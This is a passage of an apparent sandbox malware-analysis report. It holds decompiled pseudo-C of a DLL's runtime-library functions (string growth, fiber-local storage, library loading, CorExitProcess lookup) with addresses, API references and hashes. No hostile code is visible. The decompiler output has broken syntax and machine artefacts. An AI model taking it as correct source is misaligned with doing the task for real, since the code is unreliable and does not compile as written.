													asm("int3");
													asm("int3");
													asm("int3");
													asm("int3");
													asm("int3");
													asm("int3");
													asm("int3");
													asm("int3");
													asm("int3");
													asm("int3");
													asm("int3");
													_push(_t308);
													_t309 = _t321;
													_t322 = _t321 - 0xc;
													_t262 = _v48;
													_push(_t228);
													_t229 = _t242;
													_t243 = 0x7fffffff;
													_push(_t282);
													_push(_t266);
													_t283 = _t229[4];
													_v60 = _t283;
													__eflags = 0x7fffffff - _t283 - _t262;
													if(__eflags < 0) {
														E6DA814C0(_t229, 0x7fffffff, _t262, __eflags);
														goto L62;
													} else {
														_t266 = _t229[5];
														_t172 = _t283 + _t262;
														_v20 = _t172;
														_t294 = _t172 | 0x0000000f;
														_v4 = _t266;
														__eflags = _t294 - 0x7fffffff;
														if(__eflags <= 0) {
															_t174 = _t266 >> 1;
															_t243 = 0x7fffffff - _t174;
															__eflags = _t266 - _t243;
															if(__eflags <= 0) {
																_t175 = _t174 + _t266;
																__eflags = _t294 - _t175;
																_t283 =  <  ? _t175 : _t294;
																_t65 = _t283 + 1; // 0x80000000
																_t243 = _t65;
																__eflags = _t243 - 0x1000;
																if(_t243 < 0x1000) {
																	__eflags = _t243;
																	if(__eflags == 0) {
																		_t266 = 0;
																		__eflags = 0;
																	} else {
																		_t193 = E6DA89399(_t266, _t283, __eflags, _t243);
																		_t322 = _t322 + 4;
																		_t266 = _t193;
																	}
																	goto L55;
																} else {
																	_t66 = _t243 + 0x23; // 0x80000023
																	_t194 = _t66;
																	__eflags = _t66 - _t243;
																	if(__eflags <= 0) {
																		L62:
																		E6DA81420();
																		goto L63;
																	} else {
																		goto L45;
																	}
																}
															} else {
																_t283 = 0x7fffffff;
																goto L44;
															}
														} else {
															_t283 = 0x7fffffff;
															L44:
															_t194 = 0x80000023;
															L45:
															_t195 = E6DA89399(_t266, _t283, __eflags, _t194);
															_t322 = _t322 + 4;
															__eflags = _t195;
															if(_t195 == 0) {
																L63:
																E6DA8DACF(_t229, _t243, _t262);
																asm("int3");
																asm("int3");
																asm("int3");
																asm("int3");
																asm("int3");
																asm("int3");
																asm("int3");
																asm("int3");
																asm("int3");
																asm("int3");
																asm("int3");
																asm("int3");
																_push(_t309);
																_t323 = _t322 - 8;
																_push(_t229);
																_t230 = _t243;
																_t244 = 0x7fffffff;
																_push(_t283);
																_t284 = _v68;
																_t263 = _t230[4];
																_v80 = _t263;
																_push(_t266);
																__eflags = 0x7fffffff - _t263 - _t284;
																if(__eflags < 0) {
																	E6DA814C0(_t230, 0x7fffffff, _t263, __eflags);
																	goto L85;
																} else {
																	_t268 = _t230[5];
																	_t151 = _t263 + _t284;
																	_v24 = _t151;
																	_t286 = _t151 | 0x0000000f;
																	_v8 = _t268;
																	__eflags = _t286 - 0x7fffffff;
																	if(__eflags <= 0) {
																		_t153 = _t268 >> 1;
																		_t244 = 0x7fffffff - _t153;
																		__eflags = _t268 - _t244;
																		if(__eflags <= 0) {
																			_t154 = _t153 + _t268;
																			__eflags = _t286 - _t154;
																			_t287 =  <  ? _t154 : _t286;
																			_t104 = _t287 + 1; // 0x80000000
																			_t244 = _t104;
																			__eflags = _t244 - 0x1000;
																			if(_t244 < 0x1000) {
																				__eflags = _t244;
																				if(__eflags == 0) {
																					_t269 = 0;
																					__eflags = 0;
																				} else {
																					_t169 = E6DA89399(_t268, _t287, __eflags, _t244);
																					_t263 = _v20;
																					_t323 = _t323 + 4;
																					_t269 = _t169;
																				}
																				goto L78;
																			} else {
																				_t105 = _t244 + 0x23; // 0x80000023
																				_t170 = _t105;
																				__eflags = _t105 - _t244;
																				if(__eflags <= 0) {
																					L85:
																					E6DA81420();
																					goto L86;
																				} else {
																					goto L68;
																				}
																			}
																		} else {
																			_t287 = 0x7fffffff;
																			goto L67;
																		}
																	} else {
																		_t287 = 0x7fffffff;
																		L67:
																		_t170 = 0x80000023;
																		L68:
																		_t171 = E6DA89399(_t268, _t287, __eflags, _t170);
																		_t323 = _t323 + 4;
																		__eflags = _t171;
																		if(_t171 == 0) {
																			L86:
																			_t148 = E6DA8DACF(_t230, _t244, _t263);
																			asm("int3");
																			asm("int3");
																			asm("int3");
																			asm("int3");
																			asm("int3");
																			asm("int3");
																			asm("int3");
																			asm("int3");
																			_t245 =  *_t244;
																			__eflags = _t245;
																			if(_t245 != 0) {
																				return  *( *_t245)(1);
																			}
																			return _t148;
																		} else {
																			_t263 = _v20;
																			_t102 =  &(_t171[8]); // 0x23
																			_t269 = _t102 & 0xffffffe0;
																			 *(_t269 - 4) = _t171;
																			L78:
																			_t230[4] = _v24;
																			_t230[5] = _t287;
																			_t288 = _t269 + _t263;
																			_v24 = _t288;
																			__eflags = _v8 - 0x10;
																			_v20 = _v0 + _t288;
																			_push(_t263);
																			if(_v8 < 0x10) {
																				_push(_t230);
																				_push(_t269);
																				E6DA8AB10();
																				E6DA8B0A0(_t269, _t288, _a4, _v0);
																				 *_v20 = 0;
																				 *_t230 = _t269;
																				return _t230;
																			} else {
																				_t290 =  *_t230;
																				_push(_t290);
																				_push(_t269);
																				E6DA8AB10();
																				E6DA8B0A0(_t269, _v24, _a4, _v0);
																				_t247 = _v8 + 1;
																				 *_v20 = 0;
																				__eflags = _t247 - 0x1000;
																				if(_t247 < 0x1000) {
																					L82:
																					_push(_t247);
																					E6DA893C9(_t290);
																					 *_t230 = _t269;
																					return _t230;
																				} else {
																					_t263 =  *(_t290 - 4);
																					_t244 = _t247 + 0x23;
																					_t123 = _t290 - _t263 - 4; // 0x7ffffffb
																					__eflags = _t123 - 0x1f;
																					if(_t123 > 0x1f) {
																						goto L86;
																					} else {
																						_t290 = _t263;
																						goto L82;
																					}
																				}
																			}
																		}
																	}
																}
															} else {
																_t63 =  &(_t195[8]); // 0x23
																_t266 = _t63 & 0xffffffe0;
																 *(_t266 - 4) = _t195;
																L55:
																_t229[4] = _v20;
																_t178 = _a4;
																_t229[5] = _t283;
																_v16 = _v16 - _t178 + 1;
																_t295 = _t266 + _t178;
																_v24 = _t295;
																__eflags = _v4 - 0x10;
																_v20 = _a8 + _t295;
																_push(_t178);
																if(_v4 < 0x10) {
																	_push(_t229);
																	_push(_t266);
																	E6DA8AB10();
																	E6DA8B0A0(_t266, _t295, _a12, _a8);
																	__eflags = _t229 + _a4;
																	E6DA8AB10(_v20, _t229 + _a4, _v16);
																	 *_t229 = _t266;
																	return _t229;
																} else {
																	_t297 =  *_t229;
																	_push(_t297);
																	_push(_t266);
																	E6DA8AB10();
																	E6DA8B0A0(_t266, _v24, _a12, _a8);
																	E6DA8AB10(_v20, _a4 + _t297, _v16);
																	_t322 = _t322 + 0x24;
																	_t254 = _v4 + 1;
																	__eflags = _t254 - 0x1000;
																	if(_t254 < 0x1000) {
																		L59:
																		_push(_t254);
																		E6DA893C9(_t297);
																		 *_t229 = _t266;
																		return _t229;
																	} else {
																		_t262 =  *(_t297 - 4);
																		_t243 = _t254 + 0x23;
																		_t283 = _t297 - _t262;
																		_t88 = _t283 - 4; // 0x7ffffffb
																		__eflags = _t88 - 0x1f;
																		if(_t88 > 0x1f) {
																			goto L63;
																		} else {
																			_t297 = _t262;
																			goto L59;
																		}
																	}
																}
															}
														}
													}
												} else {
													_t261 = _v12;
													_t33 =  &(_t215[8]); // 0x23
													_t266 = _t33 & 0xffffffe0;
													 *(_t266 - 4) = _t215;
													L32:
													_t228[4] = _v16;
													_t228[5] = _t282;
													_t301 = _t266 + _t261;
													_v16 = _t301;
													__eflags = _v0 - 0x10;
													_v12 = _a12 + _t301;
													_push(_t261);
													if(_v0 < 0x10) {
														_push(_t228);
														_push(_t266);
														E6DA8AB10();
														E6DA8AB10(_t301, _a8, _a12);
														 *_v12 = 0;
														 *_t228 = _t266;
														return _t228;
													} else {
														_t303 =  *_t228;
														_push(_t303);
														_push(_t266);
														E6DA8AB10();
														E6DA8AB10(_v16, _a8, _a12);
														_t321 = _t321 + 0x18;
														_t256 = _v0 + 1;
														 *_v12 = 0;
														__eflags = _t256 - 0x1000;
														if(_t256 < 0x1000) {
															L36:
															_push(_t256);
															E6DA893C9(_t303);
															 *_t228 = _t266;
															return _t228;
														} else {
															_t261 =  *(_t303 - 4);
															_t242 = _t256 + 0x23;
															_t282 = _t303 - _t261;
															_t52 = _t282 - 4; // 0x7ffffffb
															__eflags = _t52 - 0x1f;
															if(_t52 > 0x1f) {
																goto L40;
															} else {
																_t303 = _t261;
																goto L36;
															}
														}
													}
												}
											}
										}
									} else {
										_t280 = _v20;
										_a4 = _t280;
										_v8 = 1;
										E6DA88A87(__eflags, _t280);
										 *((intOrPtr*)( *_t280 + 4))();
										 *0x6dad5c78 = _t280;
										goto L16;
									}
								} else {
									_t280 = _t226;
									goto L16;
								}
							} else {
								_t280 =  *( *((intOrPtr*)(_t218 + 8)) + _t266 * 4);
								goto L11;
							}
						}
					}
				}
			}

0x6da85d91
0x6da85d93
0x6da85d95
0x6da85da0
0x6da85da1
0x6da85da8
0x6da85dab
0x6da85dac
0x6da85dad
0x6da85db3
0x6da85db8
0x6da85dbf
0x6da85dc5
0x6da85dcb
0x6da85dd0
0x6da85dd6
0x6da85ddb
0x6da85de1
0x6da85de3
0x6da85de8
0x6da85de9
0x6da85dee
0x6da85dee
0x6da85df6
0x6da85dfb
0x6da85dfb
0x6da85e04
0x6da85e0a
0x6da85e18
0x6da85e18
0x00000000
0x6da85e0c
0x6da85e0f
0x6da85e14
0x6da85e70
0x6da85e73
0x6da85e80
0x6da85e8a
0x6da85e16
0x6da85e1a
0x6da85e1e
0x6da85e30
0x6da85e32
0x00000000
0x00000000
0x00000000
0x00000000
0x6da85e20
0x6da85e20
0x6da85e28
0x6da85e34
0x6da85e36
0x6da85e43
0x6da85e48
0x6da85e4b
0x6da85e4e
0x6da85e8b
0x6da85e90
0x6da85e91
0x6da85e92
0x6da85e93
0x6da85e94
0x6da85e95
0x6da85e96
0x6da85e97
0x6da85e98
0x6da85e99
0x6da85e9a
0x6da85e9b
0x6da85e9c
0x6da85e9d
0x6da85e9e
0x6da85e9f
0x6da85ea0
0x6da85ea1
0x6da85ea3
0x6da85ea6
0x6da85ea7
0x6da85ea9
0x6da85eb0
0x6da85eb1
0x6da85eb4
0x6da85eb9
0x6da85ebc
0x6da85ebd
0x6da85ebf
0x6da85fe2
0x00000000
0x6da85ec5
0x6da85ec5
0x6da85ec8
0x6da85ecd
0x6da85ed0
0x6da85ed3
0x6da85ed6
0x6da85ed8
0x6da85f02
0x6da85f04
0x6da85f06
0x6da85f08
0x6da85f11
0x6da85f13
0x6da85f15
0x6da85f18
0x6da85f18
0x6da85f1b
0x6da85f21
0x6da85f30
0x6da85f32
0x6da85f44
0x6da85f44
0x6da85f34
0x6da85f35
0x6da85f3a
0x6da85f3d
0x6da85f40
0x6da85f40
0x00000000
0x6da85f23
0x6da85f23
0x6da85f23
0x6da85f26
0x6da85f28
0x6da85fe7
0x6da85fe7
0x00000000
0x6da85f2e
0x00000000
0x6da85f2e
0x6da85f28
0x6da85f0a
0x6da85f0a
0x00000000
0x6da85f0a
0x6da85eda
0x6da85eda
0x6da85edc
0x6da85edc
0x6da85ee1
0x6da85ee2
0x6da85ee7
0x6da85eea
0x6da85eec
0x6da85fec
0x6da85fec
0x6da85ff1
0x6da85ff2
0x6da85ff3
0x6da85ff4
0x6da85ff5
0x6da85ff6
0x6da85ff7
0x6da85ff8
0x6da85ff9
0x6da85ffa
0x6da85ffb
0x6da85ffc
0x6da85ffd
0x6da85ffe
0x6da85fff
0x6da86000
0x6da86001
0x6da86003
0x6da86006
0x6da86009
0x6da8600a
0x6da8600c
0x6da86011
0x6da86014
0x6da86015
0x6da8601a
0x6da8601d
0x6da8601f
0x6da86165
0x00000000
0x6da86025
0x6da86025
0x6da86028
0x6da8602d
0x6da86030
0x6da86033
0x6da86036
0x6da86038
0x6da8605f
0x6da86061
0x6da86063
0x6da86065
0x6da8606e
0x6da86070
0x6da86072
0x6da86075
0x6da86075
0x6da86078
0x6da8607e
0x6da8608d
0x6da8608f
0x6da8609e
0x6da8609e
0x6da86091
0x6da86092
0x6da86097
0x6da8609a
0x6da8609a
0x00000000
0x6da86080
0x6da86080
0x6da86080
0x6da86083
0x6da86085
0x6da8616a
0x6da8616a
0x00000000
0x6da8608b
0x00000000
0x6da8608b
0x6da86085
0x6da86067
0x6da86067
0x00000000
0x6da86067
0x6da8603a
0x6da8603a
0x6da8603c
0x6da8603c
0x6da86041
0x6da86042
0x6da86047
0x6da8604a
0x6da8604c
0x6da8616f
0x6da8616f
0x6da86174
0x6da86175
0x6da86176
0x6da86177
0x6da86178
0x6da86179
0x6da8617a
0x6da8617b
0x6da8617c
0x6da8617d
0x6da8617e
0x6da8617f
0x6da86180
0x6da86183
0x6da86186
0x6da86187
0x6da86189
0x6da86190
0x6da86191
0x6da86194
0x6da86199
0x6da8619c
0x6da8619d
0x6da8619f
0x6da862c9
0x00000000
0x6da861a5
0x6da861a5
0x6da861a8
0x6da861ad
0x6da861b0
0x6da861b3
0x6da861b6
0x6da861b8
0x6da861e2
0x6da861e4
0x6da861e6
0x6da861e8
0x6da861f1
0x6da861f3
0x6da861f5
0x6da861f8
0x6da861f8
0x6da861fb
0x6da86201
0x6da86210
0x6da86212
0x6da86224
0x6da86224
0x6da86214
0x6da86215
0x6da8621a
0x6da8621d
0x6da86220
0x6da86220
0x00000000
0x6da86203
0x6da86203
0x6da86203
0x6da86206
0x6da86208
0x6da862ce
0x6da862ce
0x00000000
0x6da8620e
0x00000000
0x6da8620e
0x6da86208
0x6da861ea
0x6da861ea
0x00000000
0x6da861ea
0x6da861ba
0x6da861ba
0x6da861bc
0x6da861bc
0x6da861c1
0x6da861c2
0x6da861c7
0x6da861ca
0x6da861cc
0x6da862d3
0x6da862d3
0x6da862d8
0x6da862d9
0x6da862da
0x6da862db
0x6da862dc
0x6da862dd
0x6da862de
0x6da862df
0x6da862e0
0x6da862e2
0x6da862e4
0x00000000
0x6da862ea
0x6da862ec
0x6da861d2
0x6da861d2
0x6da861d5
0x6da861d8
0x6da861db
0x6da86226
0x6da86229
0x6da86236
0x6da86239
0x6da8623e
0x6da86241
0x6da86245
0x6da86248
0x6da86249
0x6da862a0
0x6da862a1
0x6da862a2
0x6da862ae
0x6da862b9
0x6da862be
0x6da862c6
0x6da8624b
0x6da8624b
0x6da8624d
0x6da8624e
0x6da8624f
0x6da8625d
0x6da8626b
0x6da8626c
0x6da8626f
0x6da86275
0x6da86289
0x6da86289
0x6da8628b
0x6da86293
0x6da8629d
0x6da86277
0x6da86277
0x6da8627a
0x6da8627f
0x6da86282
0x6da86285
0x00000000
0x6da86287
0x6da86287
0x00000000
0x6da86287
0x6da86285
0x6da86275
0x6da86249
0x6da861cc
0x6da861b8
0x6da86052
0x6da86052
0x6da86055
0x6da86058
0x6da860a0
0x6da860a6
0x6da860b0
0x6da860b6
0x6da860b9
0x6da860bf
0x6da860c4
0x6da860c7
0x6da860cb
0x6da860ce
0x6da860cf
0x6da86131
0x6da86132
0x6da86133
0x6da8613f
0x6da8614a
0x6da86150
0x6da86158
0x6da86162
0x6da860d1
0x6da860d1
0x6da860d3
0x6da860d4
0x6da860d5
0x6da860e3
0x6da860f4
0x6da860fc
0x6da860ff
0x6da86100
0x6da86106
0x6da8611a
0x6da8611a
0x6da8611c
0x6da86124
0x6da8612e
0x6da86108
0x6da86108
0x6da8610b
0x6da8610e
0x6da86110
0x6da86113
0x6da86116
0x00000000
0x6da86118
0x6da86118
0x00000000
0x6da86118
0x6da86116
0x6da86106
0x6da860cf
0x6da8604c
0x6da86038
0x6da85ef2
0x6da85ef2
0x6da85ef5
0x6da85ef8
0x6da85efb
0x6da85f46
0x6da85f49
0x6da85f4f
0x6da85f52
0x6da85f57
0x6da85f5a
0x6da85f5e
0x6da85f61
0x6da85f62
0x6da85fb9
0x6da85fba
0x6da85fbb
0x6da85fc7
0x6da85fd2
0x6da85fd7
0x6da85fdf
0x6da85f64
0x6da85f64
0x6da85f66
0x6da85f67
0x6da85f68
0x6da85f76
0x6da85f7e
0x6da85f84
0x6da85f85
0x6da85f88
0x6da85f8e
0x6da85fa2
0x6da85fa2
0x6da85fa4
0x6da85fac
0x6da85fb6
0x6da85f90
0x6da85f90
0x6da85f93
0x6da85f96
0x6da85f98
0x6da85f9b
0x6da85f9e
0x00000000
0x6da85fa0
0x6da85fa0
0x00000000
0x6da85fa0
0x6da85f9e
0x6da85f8e
0x6da85f62
0x6da85eec
0x6da85ed8
0x6da85e50
0x6da85e50
0x6da85e53
0x6da85e57
0x6da85e5b
0x6da85e67
0x6da85e6a
0x00000000
0x6da85e6a
0x6da85e38
0x6da85e38
0x00000000
0x6da85e38
0x6da85e2a
0x6da85e2d
0x00000000
0x6da85e2d
0x6da85e28
0x6da85e1e
0x6da85e14

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 6DA85DB3
std::_Lockit::_Lockit.LIBCPMT ref: 6DA85DD6
std::_Lockit::~_Lockit.LIBCPMT ref: 6DA85DF6
std::_Facet_Register.LIBCPMT ref: 6DA85E5B
std::_Lockit::~_Lockit.LIBCPMT ref: 6DA85E73
Concurrency::cancel_current_task.LIBCPMT ref: 6DA85E8B

Memory Dump Source

Source File: 00000000.00000002.321126809.000000006DA81000.00000020.00000001.01000000.00000003.sdmp, Offset: 6DA80000, based on PE: true

Associated: 00000000.00000002.321118914.000000006DA80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321283455.000000006DAA4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321302763.000000006DAB3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321320388.000000006DAB4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321422081.000000006DAD4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321433207.000000006DAD6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6da80000_loaddll32.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: a1d4ef544a178734a718e033f4c683ebb14b9b604473f0877cfc53e1cfa0f83e
Instruction ID: ec7348603e9718531c4e17fdf900010d468994624e0f82a83f78ff6da2f353b3
Opcode Fuzzy Hash: a1d4ef544a178734a718e033f4c683ebb14b9b604473f0877cfc53e1cfa0f83e
Instruction Fuzzy Hash: C731AF7590C315DFCB21CF58D980B7ABBB5FB06324F194159DD0667282DB30A982CBD1

Uniqueness

Uniqueness Score: -1.00%

Function 6DA8C471 Relevance: 9.1, APIs: 6, Instructions: 60
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 85%

			E6DA8C471(void* __ecx) {
				void* _t4;
				void* _t8;
				void* _t11;
				void* _t13;
				void* _t14;
				void* _t18;
				void* _t23;
				long _t24;
				void* _t27;

				_t13 = __ecx;
				if( *0x6dab3030 != 0xffffffff) {
					_t24 = GetLastError();
					_t11 = E6DA8D66B(_t13, __eflags,  *0x6dab3030);
					_t14 = _t23;
					__eflags = _t11 - 0xffffffff;
					if(_t11 == 0xffffffff) {
						L5:
						_t11 = 0;
					} else {
						__eflags = _t11;
						if(__eflags == 0) {
							_t4 = E6DA8D6A6(_t14, __eflags,  *0x6dab3030, 0xffffffff);
							__eflags = _t4;
							if(_t4 != 0) {
								_push(0x28);
								_t27 = E6DA8DD0F();
								_t18 = 1;
								__eflags = _t27;
								if(__eflags == 0) {
									L8:
									_t11 = 0;
									E6DA8D6A6(_t18, __eflags,  *0x6dab3030, 0);
								} else {
									_t8 = E6DA8D6A6(_t18, __eflags,  *0x6dab3030, _t27);
									_pop(_t18);
									__eflags = _t8;
									if(__eflags != 0) {
										_t11 = _t27;
										_t27 = 0;
										__eflags = 0;
									} else {
										goto L8;
									}
								}
								E6DA8DCF4(_t27);
							} else {
								goto L5;
							}
						}
					}
					SetLastError(_t24);
					return _t11;
				} else {
					return 0;
				}
			}

0x6da8c471
0x6da8c478
0x6da8c48b
0x6da8c492
0x6da8c494
0x6da8c495
0x6da8c498
0x6da8c4b1
0x6da8c4b1
0x6da8c49a
0x6da8c49a
0x6da8c49c
0x6da8c4a6
0x6da8c4ad
0x6da8c4af
0x6da8c4b6
0x6da8c4bf
0x6da8c4c2
0x6da8c4c3
0x6da8c4c5
0x6da8c4d9
0x6da8c4d9
0x6da8c4e2
0x6da8c4c7
0x6da8c4ce
0x6da8c4d4
0x6da8c4d5
0x6da8c4d7
0x6da8c4eb
0x6da8c4ed
0x6da8c4ed
0x00000000
0x00000000
0x00000000
0x6da8c4d7
0x6da8c4f0
0x00000000
0x00000000
0x00000000
0x6da8c4af
0x6da8c49c
0x6da8c4f8
0x6da8c502
0x6da8c47a
0x6da8c47c
0x6da8c47c

APIs

GetLastError.KERNEL32(00000001,?,6DA8C382,6DA895C8,6DA89859,?,6DA89A91,?,00000001,?,?,00000001,?,6DAB10F8,0000000C,6DA89B8A), ref: 6DA8C47F
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 6DA8C48D
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 6DA8C4A6
SetLastError.KERNEL32(00000000,6DA89A91,?,00000001,?,?,00000001,?,6DAB10F8,0000000C,6DA89B8A,?,00000001,?), ref: 6DA8C4F8

Memory Dump Source

Source File: 00000000.00000002.321126809.000000006DA81000.00000020.00000001.01000000.00000003.sdmp, Offset: 6DA80000, based on PE: true

Associated: 00000000.00000002.321118914.000000006DA80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321283455.000000006DAA4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321302763.000000006DAB3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321320388.000000006DAB4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321422081.000000006DAD4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321433207.000000006DAD6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6da80000_loaddll32.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: fd5e9ca00b1182e997b0515a81a52fbf6a0c2d6feb4982b2c27e743f46f58b97
Instruction ID: 7490c85b6b685a9d7350b376a85f33d22c64c6d3cca3e8ecb42426ea8c9a274f
Opcode Fuzzy Hash: fd5e9ca00b1182e997b0515a81a52fbf6a0c2d6feb4982b2c27e743f46f58b97
Instruction Fuzzy Hash: 86014C3612E7235FAB102AB4AC88B363674EF47678725433BFE95841E2EF6148C39544

Uniqueness

Uniqueness Score: -1.00%

Function 6DA8D512 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 62
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E6DA8D512(void* __ecx, signed int* _a4, intOrPtr _a8) {
				WCHAR* _v8;
				signed int _t11;
				WCHAR* _t12;
				struct HINSTANCE__* _t16;
				struct HINSTANCE__* _t18;
				signed int* _t22;
				signed int* _t26;
				struct HINSTANCE__* _t29;
				WCHAR* _t31;
				void* _t32;

				_t26 = _a4;
				while(_t26 != _a8) {
					_t11 =  *_t26;
					_t22 = 0x6dad556c + _t11 * 4;
					_t29 =  *_t22;
					if(_t29 == 0) {
						_t12 =  *(0x6daa59c8 + _t11 * 4);
						_v8 = _t12;
						_t29 = LoadLibraryExW(_t12, 0, 0x800);
						if(_t29 != 0) {
							L13:
							 *_t22 = _t29;
							if( *_t22 != 0) {
								FreeLibrary(_t29);
							}
							L15:
							_t16 = _t29;
							L12:
							return _t16;
						}
						_t18 = GetLastError();
						if(_t18 != 0x57) {
							L8:
							 *_t22 = _t18 | 0xffffffff;
							L9:
							_t26 =  &(_t26[1]);
							continue;
						}
						_t31 = _v8;
						_t18 = E6DA92838(_t31, L"api-ms-", 7);
						_t32 = _t32 + 0xc;
						if(_t18 == 0) {
							goto L8;
						}
						_t18 = LoadLibraryExW(_t31, 0, 0);
						_t29 = _t18;
						if(_t29 != 0) {
							goto L13;
						}
						goto L8;
					}
					if(_t29 != 0xffffffff) {
						goto L15;
					}
					goto L9;
				}
				_t16 = 0;
				goto L12;
			}

0x6da8d519
0x6da8d58d
0x6da8d51e
0x6da8d520
0x6da8d527
0x6da8d52b
0x6da8d534
0x6da8d543
0x6da8d54c
0x6da8d550
0x6da8d599
0x6da8d59b
0x6da8d59f
0x6da8d5a2
0x6da8d5a2
0x6da8d5a8
0x6da8d5a8
0x6da8d594
0x6da8d598
0x6da8d598
0x6da8d552
0x6da8d55b
0x6da8d585
0x6da8d588
0x6da8d58a
0x6da8d58a
0x00000000
0x6da8d58a
0x6da8d55d
0x6da8d568
0x6da8d56d
0x6da8d572
0x00000000
0x00000000
0x6da8d579
0x6da8d57f
0x6da8d583
0x00000000
0x00000000
0x00000000
0x6da8d583
0x6da8d530
0x00000000
0x00000000
0x00000000
0x6da8d532
0x6da8d592
0x00000000

APIs

FreeLibrary.KERNEL32(00000000,?,?,6DA8D5D3,00000000,?,00000001,00000000,?,6DA8D64A,00000001,FlsFree,6DAA5A84,FlsFree,00000000), ref: 6DA8D5A2

Strings

api-ms-, xrefs: 6DA8D562

Memory Dump Source

Source File: 00000000.00000002.321126809.000000006DA81000.00000020.00000001.01000000.00000003.sdmp, Offset: 6DA80000, based on PE: true

Associated: 00000000.00000002.321118914.000000006DA80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321283455.000000006DAA4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321302763.000000006DAB3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321320388.000000006DAB4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321422081.000000006DAD4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321433207.000000006DAD6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6da80000_loaddll32.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-
API String ID: 3664257935-2084034818
Opcode ID: d1c23616f97ae127d95d058874ea602a499bd250735c09257c1cb88cc82f34bb
Instruction ID: 5f8db22247b7e85f3db94018499d68347ca0c45771972c65ba44296335759363
Opcode Fuzzy Hash: d1c23616f97ae127d95d058874ea602a499bd250735c09257c1cb88cc82f34bb
Instruction Fuzzy Hash: 32110435A0C722AFCF128A18D80071E33B4AF46734F194213FD14AB181DBB0E981CBD5

Uniqueness

Uniqueness Score: -1.00%

Function 6DA91632 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 25%

			E6DA91632(intOrPtr _a4) {
				char _v16;
				signed int _v20;
				signed int _t11;
				int _t14;
				void* _t16;
				void* _t20;
				int _t22;
				signed int _t23;

				_t11 =  *0x6dab3014; // 0x6c4e8ceb
				 *[fs:0x0] =  &_v16;
				_v20 = _v20 & 0x00000000;
				_t14 =  &_v20;
				__imp__GetModuleHandleExW(0, L"mscoree.dll", _t14, _t11 ^ _t23, _t20, _t16,  *[fs:0x0], E6DAA277B, 0xffffffff);
				if(_t14 != 0) {
					_t14 = GetProcAddress(_v20, "CorExitProcess");
					_t22 = _t14;
					if(_t22 != 0) {
						 *0x6daa415c(_a4);
						_t14 =  *_t22();
					}
				}
				if(_v20 != 0) {
					_t14 = FreeLibrary(_v20);
				}
				 *[fs:0x0] = _v16;
				return _t14;
			}

0x6da91647
0x6da91652
0x6da91658
0x6da9165c
0x6da91667
0x6da9166f
0x6da91679
0x6da9167f
0x6da91683
0x6da9168a
0x6da91690
0x6da91690
0x6da91683
0x6da91696
0x6da9169b
0x6da9169b
0x6da916a4
0x6da916ae

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,6C4E8CEB,?,?,00000000,6DAA277B,000000FF,?,6DA915C2,?,?,6DA91596,00000016), ref: 6DA91667
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 6DA91679
FreeLibrary.KERNEL32(00000000,?,00000000,6DAA277B,000000FF,?,6DA915C2,?,?,6DA91596,00000016), ref: 6DA9169B

Strings

CorExitProcess, xrefs: 6DA91671
mscoree.dll, xrefs: 6DA91660

Memory Dump Source

Source File: 00000000.00000002.321126809.000000006DA81000.00000020.00000001.01000000.00000003.sdmp, Offset: 6DA80000, based on PE: true

Associated: 00000000.00000002.321118914.000000006DA80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321283455.000000006DAA4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321302763.000000006DAB3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321320388.000000006DAB4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321422081.000000006DAD4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321433207.000000006DAD6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6da80000_loaddll32.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 7651b4ba821510852ec587b69ad0f2818c389f6e8443b938602a8275a797d7eb
Instruction ID: e1bfd3097dbc77bc9ca7ba791abfc16ca58b861dea90f5139e9be25cff62a7da
